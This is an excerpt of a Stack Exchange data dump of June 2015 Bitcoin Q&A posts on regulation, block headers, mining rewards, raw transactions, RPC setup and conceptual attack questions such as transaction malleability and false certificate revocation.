  <row Id="37957" PostTypeId="2" ParentId="37865" CreationDate="2015-06-13T18:22:57.287" Score="3" Body="&lt;p&gt;There's actually a lot going on in the California state legislature regarding virtual currency regulation, and you may soon need a specific license from them (although the bill in question---AB1326---still needs to pass). You can read a little more &lt;a href=&quot;https://coincenter.org/2015/06/our-thoughts-on-the-bitlicense-california-is-winning/&quot; rel=&quot;nofollow&quot;&gt;about it here from CoinCenter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until that particular bill passes, it's a bit of a gray area, but it would be prudent to consider the &lt;a href=&quot;http://fincen.gov/statutes_regs/guidance/html/FIN-2013-G001.html&quot; rel=&quot;nofollow&quot;&gt;guidance from FinCEN&lt;/a&gt; released two years ago.&lt;/p&gt;&#xA;" OwnerUserId="26887" LastActivityDate="2015-06-13T18:22:57.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37958" PostTypeId="1" CreationDate="2015-06-13T20:47:12.297" Score="2" ViewCount="74" Body="&lt;p&gt;The whitepaper hosted in the official page is pretty lacking in &quot;whys&quot; so, is there anything that resembles &lt;a href=&quot;https://bitcoin.org/en/developer-guide&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/developer-guide&lt;/a&gt; with Peercoin? Any technical papers?&lt;/p&gt;&#xA;" OwnerUserId="26857" LastActivityDate="2015-06-14T10:39:09.293" Title="Where could I find Peercoin's documentation?" Tags="|peercoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37959" PostTypeId="2" ParentId="37798" CreationDate="2015-06-13T22:21:38.590" Score="2" Body="&lt;p&gt;RevokeSSL requires one of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;self-signed certificates&lt;/li&gt;&#xA;&lt;li&gt;certificates signed by CAs that are willing to include extra information in what they sign.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is because there is a false revocation attack available if the certificate does not contain the information (the address that's going to be used to create the verification transaction) needed for RevokeSSL to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Victor (the victim site owner) is up against Mallory (the malicious adversary who wants to harm Victor's site reputation):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Victor creates site, creates certificate, but doesn't include the RevokeSSL verification address.&lt;/li&gt;&#xA;&lt;li&gt;Mallory obtains Victor's site certificate.  (He does not need to obtain any private keys.)&lt;/li&gt;&#xA;&lt;li&gt;Mallory creates a RevokeSSL-formatted transaction, containing the OP_RETURN value that is the hash of the certificate he wants to falsely revoke.&lt;/li&gt;&#xA;&lt;li&gt;Some time later, Mallory &quot;spends&quot; the transaction, revoking Victor's site certificate.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the hash of the certificate were used to search the OP_RETURNs, this attack would work.  If the original certificate includes the address used to create the verification transaction (and the verification transaction includes the hash of the certificate in question as OP_RETURN), then this attack cannot falsely revoke the certificate.&lt;/p&gt;&#xA;" OwnerUserId="26746" LastActivityDate="2015-06-13T22:21:38.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37960" PostTypeId="2" ParentId="37956" CreationDate="2015-06-13T22:51:52.333" Score="2" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Of course, as a result of this approach, timestamps in the forged chain would increase much faster than in the real chain. This would cause the forged chain to be discarded by nodes, as legal blocks must have timestamps less than or equal to current timestamp (plus/minus some tolerance).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Not always. For example, in a time warp attack, it's possible to go as many blocks as you want without advancing the clock at all. See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/35321/how-could-a-time-warp-attack-be-prevented&quot;&gt;How could a time warp attack be prevented?&lt;/a&gt; (You should probably avoid making the same off-by-one error in your code.)&lt;/p&gt;&#xA;&lt;p&gt;For that reason, Bitcoin nodes do not compare chains by their height. (Although they &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/e86756193ebdbf71504e2a1a8db43e38d57f9673&quot; rel=&quot;nofollow noreferrer&quot;&gt;used to do this&lt;/a&gt;.) They calculate the total work in each chain (&lt;code&gt;nChainWork&lt;/code&gt;), and compare by that. This is calculated by looking at the number of attempts it would take, on average, to find each block, and summing it. This answer touches on how that's done: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/37273/how-is-a-blockchain-split-resolved/37275#37275&quot;&gt;How is a blockchain split resolved?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Alice controls a bitcoin node, and has 500,000 blocks in storage. Bob advertises that he has 600,000 blocks, but the last common ancestor has number 1000. Bob's chain is a forged slow chain, but Alice does not know it. Alice wants to download Bob's blocks and check if these are correct.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Bitcoin nodes do tell each other how many blocks they each have, but they don't trust this automatically. Rather, they download all of the blocks and check how much work each block has. This can be done faster if you only download the headers; you can tell how much work a block has without downloading the entire block.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="113175" LastEditDate="2021-01-25T04:24:52.150" LastActivityDate="2021-01-25T04:24:52.150" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="37961" PostTypeId="1" AcceptedAnswerId="37963" CreationDate="2015-06-14T00:46:32.617" Score="4" ViewCount="2948" Body="&lt;p&gt;According to the &lt;a href=&quot;https://developer.bitcoin.org/glossary.html#term-Block-header&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Developer Reference&lt;/a&gt;, the block header is 80 bytes total:&lt;/p&gt;&#xA;&lt;pre&gt;BYTES   NAME&#xA;4       version&#xA;32      previous block header hash&#xA;32      merkle root hash&#xA;4       time&#xA;4       nonce&#xA;&lt;/pre&gt;&#xA;&lt;p&gt;As I understand it, the midstate (1st SHA block) contains 64 bytes of the block header (which fields in particular I do not know, but I do know it doesn't contain the nonce), and the 2nd SHA block contains the rest, only 80-64 = 16 bytes. Does this mean the 2nd SHA block is padded with 64 - 16 = 48 bytes? If so, why not make the nonce field, for example, 48 - 4 = 42 bytes larger (i.e., 52 bytes instead of 4 bytes)?&lt;/p&gt;&#xA;&lt;p&gt;That way, &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction#Generation&quot; rel=&quot;nofollow noreferrer&quot;&gt;extranonce&lt;/a&gt; doesn't have to be in the generation transaction, thereby speeding up hashing, no?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2022-09-22T00:04:17.317" LastActivityDate="2022-09-22T00:04:17.317" Title="Why is the block header 80 bytes, not 128 bytes (= two SHA-256 blocks)?" Tags="|sha256|nonce|block-header|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="37963" PostTypeId="2" ParentId="37961" CreationDate="2015-06-14T04:41:52.893" Score="5" Body="&lt;p&gt;It could have been done that way, at the cost of increasing the amount of space it takes to store and send block headers. It seems like block header storage was a big concern for Satoshi, (there's even a section in the whitepaper about it) but it's turned out to not matter very much.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does this mean the 2nd SHA block is padded with 64 - 16 = 48 bytes?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, &lt;a href=&quot;https://crypto.stackexchange.com/questions/9369/how-is-input-message-for-sha-2-padded&quot;&gt;(source)&lt;/a&gt; but your reasoning is flawed. Even if the nonce space were so large that it extended into another block, that would just mean that midstate would represent the state after hashing all but the last block (block in the cryptography sense, not the Bitcoin sense.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if the block header were exactly 128 bytes, the padding would extend it to a third block. You only have 119 bytes before that happens.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;That way, extranonce doesn't have to be in the generation transaction, thereby speeding up hashing, no?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not really. You can check 2^32 hashes before incrementing extranonce, after which you only need to do ten or so hashes before you get back to mining. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, in modern ASICs, even that part has been offloaded. There will be some sort of small processor within the ASIC, like an ARM core, which takes a block template as input and outputs block headers for the SHA256 cores to work on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the cost isn't one of speed, but complexity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like many things in Bitcoin, I think this is a technical decision that made sense at the time, but aged poorly. &lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2015-06-14T04:41:52.893" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37964" PostTypeId="1" AcceptedAnswerId="37965" CreationDate="2015-06-14T05:44:34.503" Score="1" ViewCount="73" Body="&lt;p&gt;Sorry if this has already been asked; Stack Exchange didn't have this exact question in the &quot;related&quot; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I have two bitcoin wallets. Somebody sends wallet 1 a transaction of 0.5 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am wondering is if I can take that transaction and create a new one, where I'm sending 0.4 BTC to that same address in wallet 1 with the original 0.5 BTC (the one listed in the &quot;receive&quot; data in the UTXO), and sending the 0.1 BTC change to an address in wallet 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would think this is possible since the address in wallet 2 referenced as part of the second transaction would then have the funds available once the transaction confirms in the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just don't know enough about Bitcoin's code to know for sure if this won't cause some sort of hiccup, as my general conception of &quot;transaction change&quot; is that an address local to the wallet, in this case wallet 1, is generated for capturing the change from the transaction to avoid overspending in transaction fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a separate wallet's address as the change may well break something in the code that accounts for the total balance of the first wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why I need an expert to help me out here. Too many unknown outcomes for me!&lt;/p&gt;&#xA;" OwnerUserId="26879" LastEditorUserId="26879" LastEditDate="2015-06-14T05:54:25.163" LastActivityDate="2015-06-14T06:38:37.577" Title="Automatic savings account using 2 wallets?" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37965" PostTypeId="2" ParentId="37964" CreationDate="2015-06-14T06:33:12.360" Score="1" Body="&lt;p&gt;I answered my own question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the following PHP code...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$savings = 0.001;&#xA;$txfee = 0.0001;&#xA;$amount = floatval(($bitcoind-&gt;getbalance() - $savings) - $txfee); // getbalance() returns 0.005&#xA;$outputAddr = [&#xA;    '1GAnaq3atnKkxFsUC4Vky8Ysb751LbxHSC' =&gt; $amount, // wallet 1 address&#xA;    '122ExHr92bEgJbepSHmQCruCRR3YRR6dx5' =&gt; $savings // wallet 2 address&#xA;];&#xA;&#xA;$rawtxUnspent = [];&#xA;$unspent = $bitcoind-&gt;listunspent();&#xA;foreach($unspent as $tx) {&#xA;    array_push($rawtxUnspent, [&#xA;        'txid' =&gt; $tx['txid'],&#xA;        'vout' =&gt; $tx['vout']&#xA;    ]);&#xA;}&#xA;&#xA;$rawtx = $bitcoind-&gt;createrawtransaction($rawtxUnspent, $outputAddr);&#xA;$signedtx = $bitcoind-&gt;signrawtransaction($rawtx);&#xA;$senttx = $bitcoind-&gt;sendrawtransaction($signedtx['hex']);&#xA;&#xA;$senttx === false ? print $bitcoind-&gt;error : var_dump($senttx);&lt;/code&gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and got this output...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;string(64) &quot;bae6d6978da7a50422a943ac42017c64478169ce87a264d7cedbaa5a869558b4&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction is confirmed and worked exactly as I hoped. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/bae6d6978da7a50422a943ac42017c64478169ce87a264d7cedbaa5a869558b4&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/bae6d6978da7a50422a943ac42017c64478169ce87a264d7cedbaa5a869558b4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26879" LastEditorUserId="26879" LastEditDate="2015-06-14T06:38:37.577" LastActivityDate="2015-06-14T06:38:37.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37966" PostTypeId="1" CreationDate="2015-06-14T07:02:58.640" Score="0" ViewCount="2614" Body="&lt;p&gt;I set up bitcoind in Ubuntu 14.04 and I requested &quot;getinfo&quot;, &#xA;but returned HTTP 403 error &quot;FORBIDDEN&quot;. I don't know why...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The environment is below..&#xA;・Ubuntu is installed in Virtualbox and bitcoind is installed in the Ubuntu.&#xA;・The Host OS is Mac OS.&#xA;・The Host OS and the gest OS (Ubuntu) is connected host only adapter.&#xA;  (Host OS -&gt; 10.0.2.2  Gest OS-&gt; 192.168.33.33)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin.conf is below&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;server=1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;daemon=1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;rpcallowip = 10.0.2.0/24&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;rpcuser=...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;rpcpassword=...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;rpcport=8332&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;txindex=1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;keypool=100&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From the browser, type &quot;&lt;a href=&quot;http://rpcuser:rpcpassword@192.168.33.33:8332/&quot; rel=&quot;nofollow&quot;&gt;http://rpcuser:rpcpassword@192.168.33.33:8332/&lt;/a&gt;&quot;&#xA;but it gives &quot;Forbidden&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forthermore, i tried to use easybitcoin.php (&lt;a href=&quot;https://github.com/aceat64/EasyBitcoin-PHP/blob/master/easybitcoin.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/aceat64/EasyBitcoin-PHP/blob/master/easybitcoin.php&lt;/a&gt;),&#xA;but also the same like &quot;HTTP_FORBIDDEN&quot; &quot;403&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you give me any advices?&lt;/p&gt;&#xA;" OwnerUserId="26894" LastEditorUserId="18196" LastEditDate="2015-06-17T14:28:22.623" LastActivityDate="2015-06-17T14:28:22.623" Title="bitcoind (JSON-RPC) returned HTTP 403 error, i don't know why" Tags="|bitcoind|rpc-error-25|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37967" PostTypeId="1" AcceptedAnswerId="37995" CreationDate="2015-06-14T09:15:13.587" Score="7" ViewCount="18903" Body="&lt;p&gt;I've noticed that certain products online do not require a full bitcoin to purchase. My question is do you need to start with one full bitcoin in order to make a purchase of such items? &lt;/p&gt;&#xA;" OwnerUserId="26896" LastEditorUserId="5406" LastEditDate="2015-06-14T21:57:44.070" LastActivityDate="2017-12-13T00:20:36.270" Title="Is it possible to buy half of a full bitcoin?" Tags="|buy-bitcoins|divisibility|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37968" PostTypeId="1" AcceptedAnswerId="37970" CreationDate="2015-06-14T09:20:52.500" Score="1" ViewCount="1094" Body="&lt;p&gt;I realise that somebody who manages to find a new block in the blockchain gets 25 bitcoins as a &quot;reward&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do these bitcoins &lt;em&gt;actually&lt;/em&gt; come from? How are they minted? How are they &lt;em&gt;actually&lt;/em&gt; generated? What's the &quot;everyman's&quot; explanation of what happens, in the blockchain, so that these &quot;new&quot; 25 bitcoins are actually created?&lt;/p&gt;&#xA;" OwnerUserId="26870" LastEditorUserId="5406" LastEditDate="2016-03-10T09:40:51.437" LastActivityDate="2016-03-10T09:40:51.437" Title="When creating a block, who actually generates the 25 bitcoins that act as a reward?" Tags="|protocol|mining-reward|coinbase-transaction|" AnswerCount="2" CommentCount="2" ClosedDate="2015-06-16T16:12:36.407" ContentLicense="CC BY-SA 3.0" />
  <row Id="37969" PostTypeId="2" ParentId="37967" CreationDate="2015-06-14T09:22:50.360" Score="9" Body="&lt;p&gt;No, you can transfer fractions of bitcoins easily. From the &lt;a href=&quot;https://en.bitcoin.it/wiki/Myths&quot; rel=&quot;noreferrer&quot;&gt;Myths&lt;/a&gt; section of the Wiki:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;One Bitcoin is divisible down to eight decimal places. There are really 2,099,999,997,690,000 (just over 2 quadrillion) maximum possible atomic units in the bitcoin system.&lt;/p&gt;&#xA;&lt;p&gt;The value of &amp;quot;1 BTC&amp;quot; represents 100,000,000 of these. In other words, each bitcoin is divisible by up to 10&lt;sup&gt;8&lt;/sup&gt;.&lt;/p&gt;&#xA;&lt;p&gt;As the value of the unit of 1 BTC grew too large to be useful for day to day transactions, people started dealing in smaller units, such as milli-bitcoins (mBTC) or micro-bitcoins (μBTC).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="26870" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-06-14T21:57:05.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37970" PostTypeId="2" ParentId="37968" CreationDate="2015-06-14T09:52:45.113" Score="0" Body="&lt;p&gt;The 25 BTC are actually generated out of thin-air. Essentially every peer in the network knows to accept blocks where the first transaction in every block should be of maximum 25 BTC. If it's more, then the block is considered invalid. Note that these are the coins given to the miner since the miner is the one creating the block and can therefore set to which address these 25 BTC go to. Also note that 25 is not an hardcoded value, it changes with time. Again, there's another rule &quot;programmed&quot; into each peer where they can calculate the current reward. Currently the maximum allowed is 25, but every certain amounts of blocks, peers know that the value needs to be halved - it was originally 50 BTC, now it's 25, next it will be 12.5. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your question, peers collectively know that the rule is to generate coins out of thin air every so often, and the person that gets them is the person that mined the block. You might be asking: what if a dishonest peer changes the 25 BTC transaction to go to himself rather than the miner. They can't do this because they would need to re-mine that block (changing contents of a block also changes its hash).&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2015-06-14T10:29:29.970" LastActivityDate="2015-06-14T10:29:29.970" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37971" PostTypeId="2" ParentId="37950" CreationDate="2015-06-14T10:09:23.937" Score="1" Body="&lt;p&gt;You need to consider two separate effects:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Mining starts being funded with tx fees rather than inflation. This will result in higher fees, until tx fees per block are similar to current inflation (maybe 1-2 orders of magnitude less).&lt;/li&gt;&#xA;&lt;li&gt;The value of every bitcoin increases. The real tx fee per transaction remains more or less the same. The nominal fee decreases. The number of txs per block increases, resulting in an equivalent nominal total fee per block. The real total fee per block will increase, to fund greater security for the bigger network.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The 2nd effect is expected to be bigger in magnitude, and to happen sooner, than the first. So overall, we should see a decrease in the nominal fee per tx, allowing us to use small fractions of a bitcoin (which will then have significant value, in real terms).&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2015-06-14T10:09:23.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37972" PostTypeId="2" ParentId="37958" CreationDate="2015-06-14T10:39:09.293" Score="3" Body="&lt;p&gt;Peercoin's code is based on Bitcoin's code. We started a Wiki to document the differences. This Wiki can be found at this address: &lt;a href=&quot;https://wiki.peercointalk.org/index.php?title=Main_Page&quot; rel=&quot;nofollow&quot;&gt;https://wiki.peercointalk.org/index.php?title=Main_Page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can start with the block structure for example: &lt;a href=&quot;https://wiki.peercointalk.org/index.php?title=Blocks&quot; rel=&quot;nofollow&quot;&gt;https://wiki.peercointalk.org/index.php?title=Blocks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We do not have any technical paper apart from this.&lt;/p&gt;&#xA;" OwnerUserId="26897" LastActivityDate="2015-06-14T10:39:09.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37974" PostTypeId="2" ParentId="37968" CreationDate="2015-06-14T16:14:05.607" Score="0" Body="&lt;p&gt;When somebody is trying to find a block, they ratify a set of transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The protocol has a rule asserting that this transaction set must include a &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4571/5406&quot;&gt;Coinbase Transaction&lt;/a&gt; as the first transaction. The Coinbase Transaction is a transaction that sends money from &quot;nowhere&quot; to the miners address. Its output is limited to be smaller or equal to the sum of the transaction fees and the current block reward (currently 25 BTC).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As every mining entity is working on their individual data set, including their own coinbase transaction, whoever finds the block automatically creates the new coins and credits them to their own address.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-06-14T22:02:00.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37976" PostTypeId="2" ParentId="37952" CreationDate="2015-06-14T18:02:21.587" Score="0" Body="&lt;p&gt;You could add a watch-only address for your &quot;online created cold address&quot; (which you probably can read-out the irony in my sentence).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoin-cli importaddress &amp;lt;myaddress&amp;gt;&lt;/code&gt;&#xA;(this will produce a rescan and take therefore some minutes/hours)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, you can check your balance as you would do with a &quot;normal&quot; addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To spend, you could use the &lt;code&gt;rawtransaction&lt;/code&gt; command (it's a bit tricky, see &lt;a href=&quot;http://blog.macoymejia.com/2014/08/15/bitcoin-raw-transaction-made-easy/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;). With &lt;code&gt;signrawtransaction&lt;/code&gt; you can use a private key (in the format you have created it over bitaddress.org) to sign your transaction.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-06-14T18:02:21.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37977" PostTypeId="5" CreationDate="2015-06-15T01:04:48.823" Score="0" Body="" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-06-15T01:04:48.823" LastActivityDate="2015-06-15T01:04:48.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37978" PostTypeId="4" CreationDate="2015-06-15T01:04:48.823" Score="0" Body="BIP 0012, or OP_EVAL, is a withdrawn BIP." OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-06-15T01:04:48.823" LastActivityDate="2015-06-15T01:04:48.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37979" PostTypeId="2" ParentId="35707" CreationDate="2015-06-15T02:44:05.883" Score="17" Body="&lt;p&gt;By default &lt;code&gt;-txindex=0&lt;/code&gt; Bitcoin Core doesn't maintain any transaction-level data except for those &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;in the mempool or relay set&lt;/li&gt;&#xA;&lt;li&gt;pertinent to addresses in your wallet &lt;/li&gt;&#xA;&lt;li&gt;pertinent to your &lt;a href=&quot;https://bitcoin.org/en/glossary/watch-only-address&quot; rel=&quot;noreferrer&quot;&gt;&quot;watch-only&quot;&lt;/a&gt; addresses&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If &quot;txindex&quot; is set to true (1), Bitcoin Core maintains an index of all transactions that have ever happened, which you can query using the remote procedure call (RPC) method &lt;a href=&quot;https://bitcoin.org/en/developer-reference#getrawtransaction&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;getrawtransaction&lt;/code&gt;&lt;/a&gt; or the RESTful API call &lt;a href=&quot;https://bitcoin.org/en/developer-reference#get-tx&quot; rel=&quot;noreferrer&quot;&gt;get-tx&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several popular wallet and &quot;block explorer&quot; programs require &lt;code&gt;-txindex=1&lt;/code&gt;. Note that &lt;code&gt;txindex&lt;/code&gt; does not alter the behavior of Bitcoin's peer-to-peer interface.&lt;/p&gt;&#xA;" OwnerUserId="7412" LastEditorUserId="963" LastEditDate="2017-02-02T14:40:55.077" LastActivityDate="2017-02-02T14:40:55.077" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37980" PostTypeId="1" AcceptedAnswerId="37990" CreationDate="2015-06-15T06:02:19.620" Score="2" ViewCount="239" Body="&lt;p&gt;are any of the following transaction malleability &quot;attack&quot; vectors currently feasible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;alter scriptsig from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_PUSHDATA &amp;lt;sig&amp;gt; OP_PUSHDATA &amp;lt;pubkey&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to one of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1) OP_1 OP_SHA1 OP_DROP OP_PUSHDATA &amp;lt;sig&amp;gt; OP_PUSHDATA &amp;lt;pubkey&amp;gt;&#xA;2) OP_PUSHDATA &amp;lt;sig&amp;gt; OP_PUSHDATA &amp;lt;pubkey&amp;gt; OP_1 OP_SHA1 OP_DROP&#xA;3) OP_PUSHDATA &amp;lt;sig&amp;gt; OP_PUSHDATA &amp;lt;pubkey&amp;gt; OP_NOP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so that the corresponding scriptpubkey still evaluates to true:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 OP_PUSHDATA &amp;lt;address&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i can't tell if this is handled by point 6 in &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0062.mediawiki&quot; rel=&quot;nofollow&quot;&gt;bip 62&lt;/a&gt; or not:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;6&quot;&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Superfluous scriptSig operations&lt;/strong&gt; Adding extra data pushes at the start of scripts, which are not consumed by the corresponding&#xA;  scriptPubKey, is also a source of malleability.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/main.cpp#L693-L701&quot; rel=&quot;nofollow&quot;&gt;judging by the code&lt;/a&gt; it looks like it has been taken care of, but my c++ knowledge is not great...&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2015-06-15T06:59:00.223" LastActivityDate="2015-06-17T13:53:43.337" Title="transaction malleability &quot;attack&quot; vectors" Tags="|transaction-malleability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37982" PostTypeId="1" AcceptedAnswerId="37985" CreationDate="2015-06-15T08:03:39.063" Score="0" ViewCount="747" Body="&lt;p&gt;I am newbie in the Bitcoin field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read about the transactions, blocks, blockchain and other materials.&#xA;As I know, when a new valid block is found and announced by a user, other users start working on the next block. But what is the mechanism of determining the transactions of the next block. I mean which transaction are going to form the new next block? Is that all transaction broadcasted before the announcing of the last valid block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="26904" LastActivityDate="2015-06-15T09:47:10.497" Title="What is the mechanism of determining the transactions of a new block" Tags="|transactions|blockchain|block|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
